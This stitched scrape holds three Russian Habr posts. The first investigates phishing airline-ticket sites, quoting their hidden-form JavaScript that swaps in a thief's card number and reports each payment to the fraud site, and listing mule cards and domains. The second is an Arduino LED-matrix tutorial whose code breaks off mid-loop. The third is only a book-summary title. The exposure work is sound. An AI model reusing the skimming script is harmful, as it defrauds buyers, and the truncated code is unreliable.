Мое предположение было, что в HTML коде должен быть скрытый блок DIV, скрытая форма или что-нибудь похожее. А скорее всего несколько таких скрытых блоков. И предположение подтвердилось. Нажимаем в браузере F12 (средства для веб-разработки). Находим нужный нам скрытый блок. Видим в колонке справа его свойство display:none
Щелкаем по чекбоксу, чтобы отключить свойство display:none и… Тайное становится явным.
Мы видим предзаполненную форму с номером чужой кредитной карты, на которую должны уйти наши деньги.
А вот так выглядит оригинальная страница банка Тинькова. Правда похоже? Т.е. что происходит? Форма частично заполняется. Из этой формы скрывается все лишнее (блок с картой получателя), часть какая-то может быть даже не скрывается, а вырезается на сервере. И эта страница в измененном виде подсовывается посетителям сайта, в надежде, что они ничего не заподозрят.
И на десерт вот исходный html код с предзаполненным номером банковской карты получателя.
И вот еще интересный кусок кода.
Этот же кусок со скриптом в текстовом виде ниже:
Давайте попробуем разобраться, что в коде происходит.
В коде задан массив с номерами карт получателей. Эти номера скриптом подставляются в форму оплаты. Теоретически может быть семь разных карт получателя и при каждой неудачной попытке оплаты номер карты должен меняться. Но, вместо семи разных номеров, задан один и тот же номер несколько раз. Т.е. при неудачной попытке следующая попытка будет с тем же самым номером карты получателя.
И для того, чтобы был порядок, при каждой попытке оплаты данные передаются на страницу на этом мошенническом сайте, которая все записывает для бухгалтерии. Вечером, вероятно, придет «бухгалтер» и проверит записи в журнале.
```
$("#card_number").on('blur', function () {
$("#transfer__card_number").change();
});
function refr() {
$("#transfer__card_number").change();
}
popitka = 0;
function addpay(title, status) {
var newcards = [
'5106 2160 0313 4297',
'5106 2160 0313 4297',
'5106 2160 0313 4297',
'5106 2160 0313 4297',
'5106 2160 0313 4297',
'5106 2160 0313 4297',
'5106 2160 0313 4297',
];
if (status == 0) {
$('#card_number2').val(newcards[popitka]);
$('#card_number2').change();
popitka = popitka + 1;
}
$.ajax({
url: 'http://avia-scanners.ru/addpay.php?sum=' + 3272 + '&status=' + status + '&title=' + title + '&code=lyyPt',
success: function () {
xhr.abort();
}
});
}
$(document).ready(function () {
$("#card_number2").keyup();
$('#card_number2').change();
});
```
При каждом посещении страницы оплаты (Можно, например, разными браузерами попробовать), в поле получателя платежа подставляется новый номер карты. Вот номера карт, на которые мошенники выводили деньги, крадя их у посетителей сайта по продаже авиабилетов. Этих карт точно намного больше. Привожу номера на случай, если кто-нибудь заинтересуется статьей и захочет провести проверку…
5106 2160 0313 4297
5106 2160 0408 7015
5106 2160 0310 8804
Что в этих картах сходного? Правильно, начальные цифры 5106 21…
Попробуем поискать по базе BIN номеров банков.
Вот такой интересный результат получается:
Issuing Bank: YANDEX MONEY NBCI.LLC
Card Type: MASTERCARD
Случайным образом мошенники используют рекламу от Яндекса (Яндекс.Директ), Сервис перевода денег Yandex.Money и дополнительно через сторонние банки выводят средства на банковские карты, выпущенные Яндексом. Абсолютно точно Яндекс в этих махинациях никак не замешан, но Яндекс мог бы сильно помочь в уменьшении количества мошеннических операций. Возможно для этого какие-то правила или регламенты нужно изменить. Письма в Яндекс я тоже писал. Информацию они приняли, как распорядятся ей, я не знаю. Помочь с блокировкой средств они мне не смогли, но написали, «По Вашему запросу мы провели расследование и приняли все необходимые меры...» Что меня приятно удивило в службе поддержки Яндекса, касающейся мошеннических операций, — в полтретьего ночи пишешь им письмо — через 10-15 минут приходит ответ живого человека.
Судя по сообщениям, которые я нашел в интернете, эти сайты работают давно и количество пострадавших немаленькое. А по прикидкам, пострадавших может быть довольно много. В интернете есть сообщения о пострадавших и годичной давности, а есть сообщения, размещенные пять дней назад, об оплаченных авиабилетах на мошенническом сайте, про который я в первой половине написал.
Но и это еще не все. На многих мошеннических сайтах по продаже авиабилетов есть одна общая черта, однозначно объединяющая их и указывая, что они относятся к одной группе. Здесь не буду писать, что это за особенность, чтобы не помогать злоумышленникам. Но вот только некоторые мошеннические сайты из этой группы найденные за несколько минут: \_avialex.ru\_, \_avia-kassa.ru.com\_, \_flyseven.ru\_, \_aviasalesdirectly.ru\_, \_avia-run.ru\_, \_aviasalle.com\_.
Часть из этих сайтов уже заблокирована и находится в черных списках на разных отзовиках. Последний сайт в списке сейчас прикинулся зайчиком. Это был очередной сайт, который ждал своего звездного часа. Он тоже расположен на хостинге FirstVDS. Сайт временно отключил мошеннический функционал, после того, как я и его попросил заблокировать. Поэтому пока его не заблокировали.
Т.е. мы видим, что это не разовая поделка. Мошенники годами используют отработанную схему. Используются домены в разных зонах, разные хостинги, сервисы разных банков для переводов с карты на карту (кроме Тинькова и Промсвязьбанка могут быть и другие), вывод денег производится на большое количество карт. Если только с одной карты можно легко угнать 47 тр, то какие могут быть в общем объеме вороваться суммы?
Со своей стороны я разных писем и заявлений много написал. Но всю сеть победить одному человеку затруднительно, если только не положить на это 100% своего времени.
Главное, будьте бдительны при оплате авиабилетов на незнакомых сайтах и тогда и мошенникам будет сложнее.
UDP.
Про \_avia-scanners.ru\_ я заявления провайдеру не писал (хостинг у этого сайта sprinthost.ru — отличается от первого). Этот сайт оставил для того, чтобы читатели публикации смогли его препарировать и разобрать. Сейчас этот сайт уже не работает.
Кто-то из читателей успел поиграть с ним. Но сейчас он не доступен. На главной странице «Forbidden/ You don't have permission to access / on this server. Apache/2.4.17 Server at avia-scanners.ru Port 80»
Почему \_avia-scanners.ru\_ стал недоступен, точной информации нет. Может не выдержал нагрузки, может представитель провайдера прочитал статью и закрыл сайт, может представители банка ТКС или Сбербанка прочитали статью и написал провайдеру, может Яндекс как-то посодействовал, может кто-то из представителей правоохранительных органов, а может админ этого сайта, завсегдатай geektimes и, прочитав статью, осознал что был не прав, и решил встать на путь исправления.
**В любом случае Ваша активность помогла закрыть еще один фишинговый сайт. Я надеюсь, что это спасет кого-нибудь из потенциальных покупателей авиабилетов, от попадания в неприятную историю**
UDP2 (27.09.2016)
Как я писал, количество сайтов может быть очень большим. Спасибо пользователю [triton](https://geektimes.ru/users/triton/), он в комментариях указал еще три новых точно таких же мошеннических сайта \_flying-avia.ru\_, \_scanner-ticket.ru\_, \_scanner-aero.ru\_. Я уверен, что есть или появятся в ближайшее время и другие сайты. В нижней части этой публикации размещу сводную таблицу. Если кто-то еще найдет подобные сайты, готов добавить информацию о них в эту таблицу.
Пока три найденных новых сайта работают и те, кто не успел препарировать предыдущие сайты до того, как их закрыли, может сделать это сейчас. Эти новые три сайта работают практически одинаково, по той же самой схеме, что и разобранный в статье \_avia-scanners.ru\_. Минимальное изменение дизайна, минимальное изменение контактных данных. Мелочи типа девятизначного ИНН не принимаются в расчет. Используется тот же самый сервис банка Тинькова, что очень хорошо видно на скриншотах.
Публикация получилась длинной. Поэтому часть новых скриншотов буду убирать под спойлер.
**Скриншоты заглавных страниц четырех новых сайтов. Да, это не один сайт**\_scanner-ticket.ru\_
\_flying-avia.ru\_
\_scanner-aero.ru\_
\_aviasalle.com\_
**Страницы оплаты на новых сайтах. Тот же сервис P2P от банка ТКС**\_flying-avia.ru\_, так как ее видит пользователь
\_flying-avia.ru\_, если скрытые элементы показать. Здесь я кроме карты открыл еще скрытое поле «сумма».
\_scanner-ticket.ru\_, если показать скрытые элементы
\_scanner-aero.ru\_, если показать скрытые элементы
На новых трех сайтах обнаружены следующие номера кредитных карт, на которые мошенники выводят средства:
5106 2160 0451 0834 получена на \_flying-avia.ru\_
5106 2160 0909 7977 получена на\_scanner-ticket.ru\_
5106 2160 0451 0834 получена на\_scanner-aero.ru\_
Два из трех указанных сайтов, предлагают выводить средства на одну и ту же карту. Причем эти два сайта, хоть и расположены у одного хостинг-провайдера, но работают на разных IP (см. таблицу внизу). И опять новые карты выпущены Яндекс.Банком.
Дополнительно на новых сайтах при оплате предлагается на выбор два способа оплаты. Первый — картами, второй через терминалы. На первых описываемых сайтах, если я ничего не пропустил, не было возможности оплатить «авиабилеты» через терминал. Давайте посмотрим, как же происходит оплата через терминал. На сайтах выложена подробная инструкция «как оплатить через терминал» Инструкция длинная, размещена под спойлером. В этой инструкции вообще хитростей нет. Невнимательным покупателям предлагается просто прийти к терминалу и положить деньги на чей-то QIWI кошелек. Номер телефона кошелька в инструкции указан.
**Оплата авиабилетов через терминал. Инструкция на сайте \_scanner-ticket\_ru**
| Мошеннические сайты по продаже авиабилетов |
| --- |
| \_avialex.ru\_ | | Архивный |
| \_avia-kassa.ru.com\_ | | Архивный |
| \_flyseven.ru\_ | | Архивный |
| \_aviasalesdirectly.ru\_ | | Архивный |
| \_avia-run.ru\_ | | Архивный |
| \_aviasalle.com\_ | Провайдер FirstVDS | Пока работает, после заявления скрыл мошеннический функционал |
| \_aviapromo.eu\_ | Провайдер FirstVDS | Заблокирован провайдером 22.09.2016 |
| \_avia-scanners.ru\_ | Провайдер Sprinthost, IP 141.8.195.50 | Перестал работать после статьи на geektimes 26.09.2016 |
| \_flying-avia.ru\_ | Провайдер Sprinthost, IP 141.8.195.50 | Заблокирован провайдером 27.09.2016 после прочтения статьи на geektimes |
| \_scanner-ticket.ru\_ | Провайдер Sprinthost, IP 141.8.195.50 | Заблокирован провайдером 27.09.2016 после прочтения статьи на geektimes |
| \_scanner-aero.ru\_ | Провайдер Sprinthost, IP 141.8.195.138 | Заблокирован провайдером 27.09.2016 после прочтения статьи на geektimes |
| \_scaner-avia.ru\_ | Провайдер Sprinthost, IP 141.8.195.138 | Заблокирован провайдером 27.09.2016 после прочтения статьи на geektimes |
| \_pilotavia.ru\_ | Провайдер TheFirst-RU clients (WebDC Msk), IP 188.120.250.184 | Был как две капли похож на \_aviapromo.eu\_ После упоминания в статье на geektimes по состоянию на 28.09.2016 отображается сообщение — «Сайт временно отключен» |
| \_letofly.biz\_ | | Пока доступен. Был как две капли похож на \_aviapromo.eu\_, после упоминания на geektimes 29.09.2016 быстро сменил внешний вид, убрав мошеннический функционал. На сайте указано, что домен якобы выставлен на продажу. При этом в элементах нового дизайна используются логотипы и название немошеннического сайта |
| \_avia.netprosolution.co\_ | | РАБОТАЕТ, крадет деньги и данные карт, сильно но не полностью похож на \_aviapromo.eu\_. |
**Примечание по списку сайтов в таблице.** Когда я начал составлять эту таблицу, я подозревал, что подобных сайтов много, но не подозревал, сколько именно. Простой поиск в поисковых системах дает ссылки на как минимум на пару десятков подобных сайтов. Некоторые из них еще есть в поисковиках, но уже недоступны (можно посмотреть только закешированную версию). Список ранее действовавших подобных сайтов, но уже заблокированных составляет более 400шт. **Поэтому с Вашего позволения, я эту таблицу больше не буду дополнять, за исключением каких-либо особенных сайтов, разбор которых может быть интересен.**
**Вот для примера сотня заблокированных сайтов мошенников по продаже авиабилетов**\_fly-4you.ru\_
\_economavia.ru\_
\_nticket.ru\_
\_red-avia.com\_
\_lykafe.ru\_
\_max-fly.ru\_
\_tourfly.biz\_
\_bilet-poisk.ru\_
\_masterfly.ru\_
\_future-fly.ru\_
\_tiptopair.ru\_
\_100bilet.ru\_
\_go-go-travel.com\_
\_point-avia.com\_
\_avianeo.ru\_
\_itarifyaviabilety.ru\_
\_eg-avia.ru\_
\_horoshoairbilety.ru\_
\_aviakassa-sales.ru\_
\_gogoavia.com\_
\_avia-toptickets.ru\_
\_poiskovik-airline.ru\_
\_ticket-online.ru\_
\_avia-fun.com\_
\_disavia.ru\_
\_expressaviabilet.ru\_
\_moi-avia.ru\_
\_онлайн-авиа.рф\_
\_slim-avia.org\_
\_fly-info.ru\_
\_aviakassaonline24.ru\_
\_bestavias.ru\_
\_oaviabiletychelny.ru\_
\_etoavia.ru\_
\_aviakassabiletov.ru\_
\_avia-online24.ru\_
\_onlinepolet.ru\_
\_tip-trip.biz\_
\_disaero.ru\_
\_ticket-planet.ru\_
\_flyglobal.ru\_
\_mainavia.ru\_
\_ticket2avia.ru\_
\_online-airlines.ru\_
\_super-avia.ru\_
\_fun-avia.com\_
\_avia-book.ru\_
\_poiskvnebo.ru\_
\_avia-world.ru\_
\_aviachild.ru\_
\_aviaonline.org\_
\_deshevoavia.ru\_
\_vnemli.ru\_
\_moifly.ru\_
\_экспресс-авиа.рф\_
\_grundfly.ru\_
\_airbiletyonline.ru\_
\_fast-fly.ru\_
\_zaaviabiletom.ru\_
\_splash-avia.com\_
\_bystro-aviabileti.ru\_
\_aviabulet.ru\_
\_xdavia.ru\_
\_mytripbonus.ru\_
\_broniruem-online.ru\_
\_newgoaaviabilety.ru\_
\_search-fly.ru\_
\_privat-air.org\_
\_biletnasamoletonline.ru\_
\_smilefly.ru\_
\_x-avia.ru\_
\_raido-rent.com\_
\_avia-rsexpress.ru\_
\_aviaspecmontag.ru\_
\_just-avia.ru\_
\_onlyavia.ru\_
\_letimairlanes.ru\_
\_avia-russia.ru\_
\_trip-avia.com\_
\_aviagold.ru\_
\_deshevo-poletet.ru\_
\_avia-kafe.ru\_
\_poisk-avia.ru\_
\_fly-land.ru\_
\_aviaup.ru\_
\_продажа-авиа.рф\_
\_airlines-travel.ru\_
\_cafe-avia.ru\_
\_avia-cloud.com\_
\_fly-corp.ru\_
\_eco-avia.com\_
\_ticket-aero24.ru\_
\_turscannerpro.ru\_
\_roomticket.ru\_
\_flyfiaryav.ru\_
\_express-avia.ru\_
\_broniruem24.ru\_
\_wow-avia.ru\_
\_sky-trips.ru\_
\_aviabin.ru\_
Негативные отзывы, истории кражи денег при покупке билетов, черные списки можно найти на разных интернет-сайтах. При таком масштабе, в рамках этой статьи не имеет смысла в дежурном режиме обновлять таблицу. Масштаб действий мошенников на сайтах якобы продажи авиа (и иногда жд) билетов понятен. Когда есть один сайт, то мошенника вычислить и поймать не всегда возможно. Когда есть десятки и сотни сайтов, то, наверняка, мошенники не могут работать так, чтобы не оставалось следов. Или у провайдеров, или у банков, или у интернет-компаний, или у регистраторов доменов, или еще где-то должны оставаться следы. Поэтому если будет чьё-то волевое решение, то всю эту схему можно расследовать и найти ответственных за нее лиц.
UDP3:
Спасибо пользователю [semb](https://geektimes.ru/users/semb/). В комментариях он указал еще на один сайт \_pilotavia.ru\_
**Этот сайт примечателен тем, что он как две капли похож, на сайт \_aviapromo.eu\_ (на тот сайт, на котором герой этой статьи имел «неосторожность купить авиабилеты». Сайт этот продолжает работать.** Это не просто похожий сайт, а такой же сайт, просто размещённый на другом хостинге и домене. Теперь есть возможность посмотреть подробнее, как сайт работает. Для тех, кто хочет поэкспериментировать, можно сразу начинать со ссылки \_https://pilotavia.ru/?code=BX3FKT\_ (Это ссылка с оформленным заказом, на которой есть возможность перейти к оплате. Времени на оплату дают 24 часа).
**Заглавная страница, страница поиска рейсов и страница оплаты\_pilotavia.ru\_ такие же как у первого в статье сайта**
На следующей странице в панели вебмастера по загрузке файлов видно, что реальные данные по наличию мест на рейсах получаются с нормального не мошеннического сайта aviacassa\_ru. Текстовые данные, вероятно, корректируются на сервере, а ссылки на картинки остаются без изменений.
Тем, кто справшивал про https и детали сертификата. Появилась возможность проверить.
Сайт использует защищенное соединение и сертификат от Let's Encrypt. Интересная особенность, — сертификат выпущен сроком на три месяца. Это, наверное, для экономии? Реально оценивают срок жизни такого сайта.
Еще одна деталь. Сайт использует сервис Webvisor от Яндекса. Видно по запросам в нижней части панели на картинке ниже. Для тех, кто не в курсе это очень удобный сервис для записи поведения пользователей на сайте. Потом можно смотреть что-то похожее на видео про то, что пользователи делали на сайте. Использование вебвизора означает несколько моментов. — Мошенник зарегистрировал сайт в Яндекс.Метрике имеет подробную статистику о действиях пользователей на его сайте. Возможно даже номера карт получаются из данных вебвизора, хотя скорее всего номера карт записываются программным путем на сайте. Оборотная сторона медали — у Яндекса хранится полностью запротоколированная история всех операций на фишинговом сайте. Т.е., теоретически, если к этой информации получат доступ правоохранительные органы (если это в принципе осуществимо), то можно полностью восстановить картину по каждому случаю мошенничества и понять объем мошеннических операций.
Теперь про сам механизм кражи денег \_pilotavia.ru\_, а значит и \_aviapromo.eu\_. Это сайты не используют страницу банка Тинькова. Поскольку кража денег, описываемая в этой статье, была осуществлена через P2P PSBANK (Промсвязьбанк), было предположение, что точно так же страница Промсвзяьбанка изменяется и подставляется пользователю. **Но при анализе HTML кода страницы оплаты я не обнаружил, никаких частей страниц каких-либо банков, не используются встраиваемые окна iframe, вообще не используются скрипты, а сама страница очень простая и не похожа на страницу Промсвязьбанка.**
```
```
По сути это страница представляет собой только форму для ввода номера карты. При подтверждении формы обработка передается программе payp2p.php. Это программа может делать что угодно, но код ее нам недоступен, — код выполняется на стороне сервера. Вероятно, эта программа получает данные карты, а дальше программным путем на стороне сервера каким-то образом заполнят форму Промсвязьбанка, а у пользователя запрашивает код подтверждения 3D Secure. Данные карты естественно сохраняются и могут быть в дальнейшем использованы для дополнительных списаний на разных сайтах. Если кто-то более подробно сможет вычислить алгоритм работы этого сайта — буду благодарен. По заявлению в полицию начато расследование — любая информация, которая может раскрыть преступную схему, приветствуется.
UDP4 (27.09.2016): Информация, для тех, кто спрашивал.
На данный момент деньги не вернули ни по платежам, которые ушли на чужие карты, ни по платежам, которые ушли в Яндекс.Директ. (Про платежи в Яндекс.Директ в банк было подано заявление менее через за 24 часа после списаний). Официального ответа от Сбербанка нет (15 дней еще не прошло). Сегодня для следователя делали бумажную выписку в отделении Сбербанка. Суммы списаны. Про получателей платежей в выписке никакой дополнительной информации нет.
Фрагмент выписки
**Полные выписки из Сбербанка под спойлером**
UDP5 (30.09.2016). Пользователь [Vad\_R](https://geektimes.ru/users/vad_r/) в личку прислал свою реальную историю «покупки авиабилетов», при которой у него четыре месяца назад с карты украли ~20500р. Этот случай добавляю в публикацию, чтобы показать какие ещё бывают «способы относительно честного отъема денег у населения». Описание и детали под спойлером.
Если коротко, то на первых этапах оформление выглядит очень красиво, а после ввода данных банковской карты, они просто отправляются мошенникам, которые даже не стали утруждать себя какой-либо маскировкой своих действий. В последнем сообщении, которые видит пользователь допущены как минимум три грамматические/орфографические ошибки. Вероятно, в этом случае работали двоечники…
После ввода данных карты деньги были выведены переводом на чью-то чужую карту через сервис MMBANKa (Банка Москвы). Деньги вернуть не удалось. Заявление в полицию было написано. Дело закрыто «из-за отсутствия события преступления»
**Подробности этого случая**Сайт по продаже авиабилетов выглядит прилично.
Страница поиска рейсов
Страница заполнения данных пассажира
Страницы ввода данных банковской карты, к сожалению, нет.
А вот чем закончилось.
Карта была привязанной к кошельку в Яндекс.Деньгах. Вот выписка из личного кабинета Яндекс.Денег.
Ниже объяснение того, что произошло. Вот цитата из заявления потерпевшего, которое было подано в отдел полиции №1 «Алупкинский» УМВД России по г.Ялте
> З А Я В Л Е Н И Е
>
> Прошу провести проверку настоящего заявления по факту незаконного завладения принадлежащими мне денежными средствами (мошенничества) неизвестными мне лицами, которые используя сайт, предлагающий услуги по продаже авиа билетов, а именно \_forair.ru\_ присвоили сумму в размере 19967,45 руб
>
> Я, 04 июня 2016 года при поиске подходящего по стоимости билета зашел на сайт \_forair.ru\_ Данный сайт был в выдаче платных рекламных объявлений Яндекс Директ. Меня интересовали 3 билета из Санкт-Петербурга в Симферополь, которые я приобретал для спортсменов – конников. 11 июня в г. Санкт-Петербурге пройдут соревнования по конному спорту, где будет участвовать команда спортсменов, представляющая Крым.
>
> Заполнил страницу, на которой указал паспортные данные пассажиров и далее сайт перенаправил меня на страницу оплаты, на которой я ввел данные своей карты Яндекс-Деньги, включая номер карты, дату окончания действия и CVV 2 код. После оплаты суммы, в размере 19653,00 руб (данная сумма была указана к оплате) сайт выдал сообщение, что данные введены неправильно и я должен ожидать 14 дней возврата денег. (скриншот сообщения прилагаю)
>
> Заподозрив неладное начал изучать отзывы о сайте \_forair.ru\_ в интернете и понял, что попал на сайт – мошенник. После чего я обратился в службу поддержки банка, где мне ответили, что не могут вернуть деньги и посоветовали заблокировать карту и обратиться в полицию. В настоящий момент карта уже заблокирована.
Цитата ответа Яндекс.Денег на электронное обращение потерпевшего № 2787878 (06.06.2016)
> Мы провели расследование и приняли необходимые меры, однако, к сожалению, не смогли вернуть Ваш платёж.
>
> ...
Полиция фактически отказалась расследовать дело, сославшись на то, что Яндекс им не ответил. При этом ждали недолго. 05.06.2016 потерпевший подал заявление в полицию, 13.06.2016 получил отказ в возбуждении уголовного дня. За 8 дней отделение полиции должно было направить официальный запрос в Яндекс и получить ответ. Обратите внимание, что отделение полиции находится в Ялте. Если запрос был направлен не электронным образом, то это слишком короткий срок. Может полиции просто нужно было еще несколько дней подождать ответ от Яндекса? Как говориться, «На нет и суда нет». Полный текст ответа из полиции в картинках ниже. Фамилии и лишние данные были стерты.
===========================================================================
Если нужны подробности, обращайтесь к пользователю [Vad\_R](https://geektimes.ru/users/vad_r/)
UDP6 (06.10.2016) Сбербанк на обращение потерпевшего от 20.09.2016 "*ответил*". Написали, что срок рассмотрения продлили дополнительно на 30 дней. Деньги на данный момент не вернулись.
UDP7 (19.10.2016) Деньги, которые были списаны за Яндекс.Директ, вернулись 12.10.2016 (17700р+17700р). Возврат произошел через 22 дня с момента подачи заявления в банк.
Деньги, которые ушли на чью-то карту ~5900р+5900р+комиссия на данный момент по состоянию на 13.11.2016 не вернулись.
Смс с подтверждением возврата.
UDP8 (13.11.2016)
Опубликована вторая часть публикации с продолжением: [Дешевые авиабилеты… Сеть мошеннических сайтов, ворующих деньги с карт. Расследование-Часть2. При чём здесь Промсвязьбанк?](https://geektimes.ru/post/281374/)
UDP9 (02.03.2017)
Написал новую статью, в некоторой степени имеющую отношение к этой публикации: [Яндекс игнорирует проверку 3D Secure при оплате рекламы в Яндекс.Директ с помощью банковских карт.](https://geektimes.ru/post/286406/) | https://habr.com/ru/post/397759/ | null | ru | null |
# «Бегущая строка» — динамическая индикация на примере светодиодной матрицы RL-M2388 и Arduino Mega
Данная статья не претендует на толкование как единственно возможного метода отображения и прокрутки информации на светодиодной матрице. Я с удовольствием выслушаю ваши замечания и предложения по улучшению метода/функций. Данная статья – изложение личного опыта и описание результата, которого я добился.
##### Немного теории
В данной светодиодной матрице находится 64 красных светодиода. Если выводить контакты каждого светодиода отдельно, то понадобится 64 контакта на корпусе матрицы и микроконтроллер с 65 цифровыми портами ввода/вывода. Это нецелесообразно и невыгодно. Поэтому на заводе-изготовителе светодиоды объединяют в матрицы различных размеров (в нашем случае 8х8), то есть в 8 групп по строкам и столбцам следующим образом:
В таком случае нам понадобится лишь 16 цифровых вводов/выводов. Например, чтобы зажечь светодиод в левом верхнем углу, нам нужно на pin13 (см. картинку) подать лог 1, а на pin9 лог 0. Такой способ отображения называется статическая индикация.
«Хорошо, а если нам, например, нужно зажечь несколько светодиодов в разных позициях матрицы, а все остальные оставить выключенными?» — спросите Вы. При статической индикации это не представляется возможным. Для этого нужно использовать динамическую индикацию.
##### Динамическая индикация
Быстро мелькающий объект кажется человеческому глазу постоянно светящимся. Это свойство человеческого глаза – инертность. Как вы догадались, именно на этом свойстве и основан метод вывода информации в светодиодной матрице. Например, чтобы вывести на «экран» некий символ, нужно последовательно, проходя все «пиксели» матрицы с высокой скоростью, включать светодиод в нужном месте.
Условия, которые необходимо соблюдать при программировании матриц динамической индикации:
1. Длительность отображения каждого столбца/строки («пикселя» в моем случае) постоянна, одинакова для всех столбцов/строк («пикселей» в моем случае).
2. Частота смены столбцов/строк («пикселей» в моем случае) не меняется.
##### Принцип действия прошивки микроконтроллера
Признаюсь, когда у меня появилась отладочная плата на МК Atmega1280 и светодиодная матрица, я и понятия не имел что такое динамическая индикация и для чего она нужна. До понимания необходимости ее использования я дошел методом проб и методом «тыка».
Принцип действия прошивки:
1. Вывод символа на экран
Давайте представим, что наша светодиодная матрица – это двухмерный массив размерностью I на J, совпадающей с размерностью нашей матрицы. В нашем случае это 8 на 8 пикселей. Итак, есть двухмерный массив типа boolean. К примеру:
```
boolean A[8][8] =
{0,0,1,1,1,1,0,0,
0,1,0,0,0,0,1,0,
0,1,0,0,0,0,1,0,
0,1,0,0,0,0,1,0,
0,1,1,1,1,1,1,0,
0,1,0,0,0,0,1,0,
0,1,0,0,0,0,1,0,
0,1,0,0,0,0,1,0}
```
В цикле мы проверяем, если элемент массива A[i][j]=1, тогда включаем светодиод на матрице, находящийся в позиции (I;J), делаем паузу на отображения светодиода и выключаем светодиод в позиции (I;J). В результате работы программы по такому алгоритму на экране матрицы выведется символ «А» (в двумерном массиве именно этот символ отображен). Назовем этот алгоритм *«Вывод на экран»*. Итак, с выводом информации на экран с помощью динамической индикации разобрались.
2. Прокрутка информации на экране
Конечно, классно выводить на экран неподвижную информацию, но было бы интереснее «оживить» ее – заставить передвигаться. Рассмотрим алгоритм перемещения информации:
В бесконечном цикле выполняем:
1. Вызываем алгоритм *«Вывод на экран»*.
2. Берем 1й столбец матрицы А и записываем его в буфер (двухмерный массив BUFFER[8][1]).
3. Записываем содержимое матрицы с позиции A[i][j+1] в позицию A[i][j]. То есть мы по сути «сдвинули» матрицу влево на один столбец.
4. Записываем в последний столбец матрицы А (в свободный, так как мы сдвинули матрицу влево на один столбец) содержание буфера BUFFER. Назовем этот алгоритм *«Прокрутка информации»*.
Вот и весь алгоритм прокрутки информации на экране. Теперь, зная алгоритмы вывода и прокрутки информации с помощью динамической индикации, мы можем приступить к практике.
##### Подключение матрицы к отладочной плате
Каждый из 16ти выводов матрицы пронумерован. В соответствии этим номерам были подпаяны и выведены 8 контактов, отвечающих за строки, и 8 контактов, отвечающих за столбцы. У меня, например, матрица подключена так:
Выводы, отвечающие за строки 23,25,27,29,31,33,35,37 – это номера выводов ножек микроконтроллера;
Выводы, отвечающие за столбцы 39,41,43,45,47,49,51,53 — это номера выводов ножек микроконтроллера.
##### Программирование
Программирование и прошивка микроконтроллера производится в среде разработки Arduino IDE.
Что необходимо знать для понимания кода программы, написанного ниже:
*Функция pinMode()*
Устанавливает режим работы заданного вход/выхода(pin) как входа или как выхода.
pinMode(pin, mode), где pin: номер вход/выхода(pin), который Вы хотите установить; mode: режим одно из двух значение — INPUT или OUTPUT, устанавливает на вход или выход соответственно.
*Функция digitalWrite()*
Подает HIGH или LOW значение на цифровой вход/выход (pin).
digitalWrite(pin, value), где pin: номер вход/выхода(pin); value: значение HIGH или LOW
*Функция delayMicroseconds()*
Останавливает выполнение программы на заданное в параметре количество микросекунд (1 000 000 микросекунд в 1 секунде).
delayMicroseconds(us), где us: количество микросекунд, на которое приостанавливается выполнение программы. (unsigned int)
Структура любой программы (скетча, так как в среде разработки ардуино программы называются именно так) имеет следующий вид:
```
void setup()
{
…
}
void loop()
{
…
}
```
В функции setup() производятся настройки портов ввода/вывода МК, настройка подключенных устройств к МК, периферии МК, а так же выполняется все то, что нужно выполнить ОДИН раз.
В функции loop() пишется тело программы, которое будет выполняться циклически, пока микроконтроллер включен.
Выполним настройку выводов микроконтроллера. Состояний портов ввода/вывода существует два вида: настроен на вход либо на выход. В нашем случае нужно настроить на выход.
```
const int row[8]={23,25,27,29,31,33,35,37}; // Помните 8 выводов, отвечающих за строки и
const int col[8]={39,41,43,45,47,49,51,53}; // столбцы? А вот и они.
void setup()
{
for (int i=0; i<8; i++)
{
pinMode(row[i],OUTPUT); // В цикле все выводы переводим в режим «на вывод»
pinMode(col[i],OUTPUT); // Выключаем все светодиоды
}
for (int i=0; i<8; i++)
{
digitalWrite(row[i],HIGH);
}
}
```
Давайте теперь реализуем алгоритмы, которые я описал выше. Итак, мы имеем двухмерный массив:
```
boolean A[8][8] =
{0,0,1,1,1,1,0,0,
0,1,0,0,0,0,1,0,
0,1,0,0,0,0,1,0,
0,1,0,0,0,0,1,0,
0,1,1,1,1,1,1,0,
0,1,0,0,0,0,1,0,
0,1,0,0,0,0,1,0,
0,1,0,0,0,0,1,0}
```
Напишем функцию, которая реализует алгоритм «Вывод на экран».
```
int v=3; //Скорость прокручивания информации. То есть по сути это количество итераций цикла отрисовки информации в матрице
int dms=400; //Скорость обновления «пикселей». То есть время, когда светодиод находится во включенном состоянии. Чем оно больше, тем более заметнее глазу будет мерцание изображения
void paint(boolean screen[8][8], int v) //В качестве параметров передаем матрицу и параметр v
{
int i, j;
for (int c=0; c
```
Напишем функцию, которая реализует алгоритм «Прокрутка информации».
```
void scroll(boolean screen[8][8]) // В качестве параметра передаем наш двухмерный массив
{
boolean buf[8][1];
for (int i=0; i<8; i++)
{
buf[i][0]=screen[i][0]; // Считали 1ю колонку в буфер
}
for (int i=0; i<8; i++)
for (int j=0; j<8; j++)
{
screen[i][j]=screen[i][j+1]; // Сдвинули матрицу на один столбец влево
}
for (int i=0; i<8; i++)
{
screen[i][8-1]=buf[i][0]; // Записали содержимое буфера (первую колонку) в конец матрицы
}
}
```
Теперь приведу полный код программы:
```
const int row[8]={23,25,27,29,31,33,35,37};
const int col[8]={39,41,43,45,47,49,51,53};
int v=3;
int dms=400;
boolean A[8][8] =
{0,0,1,1,1,1,0,0,
0,1,0,0,0,0,1,0,
0,1,0,0,0,0,1,0,
0,1,0,0,0,0,1,0,
0,1,1,1,1,1,1,0,
0,1,0,0,0,0,1,0,
0,1,0,0,0,0,1,0,
0,1,0,0,0,0,1,0};
void setup()
{
for (int i=0; i<8; i++)
{
pinMode(row[i],OUTPUT);
pinMode(col[i],OUTPUT);
}
for (int i=0; i<8; i++)
{
digitalWrite(row[i],HIGH);
}
}
void loop()
{
paint(A, v);
scroll(A);
}
void paint(boolean screen[8][8], int v)
{
int i, j;
for (int c=0; c
```
Вот и все. Заливайте эту программу в свой микроконтроллер и наблюдайте, как буква «А» будет «бежать» влево. Добавлю, что массивом размерностью 8 на 8 элементов ограничиваться не стоит. Например, я использовал массив размером 8 на 86. Написал в нем целую фразу, как видно на этом видео.
Удачи! | https://habr.com/ru/post/129569/ | null | ru | null |
# Аннотация к «Effective Modern C++» Скотта Майерса
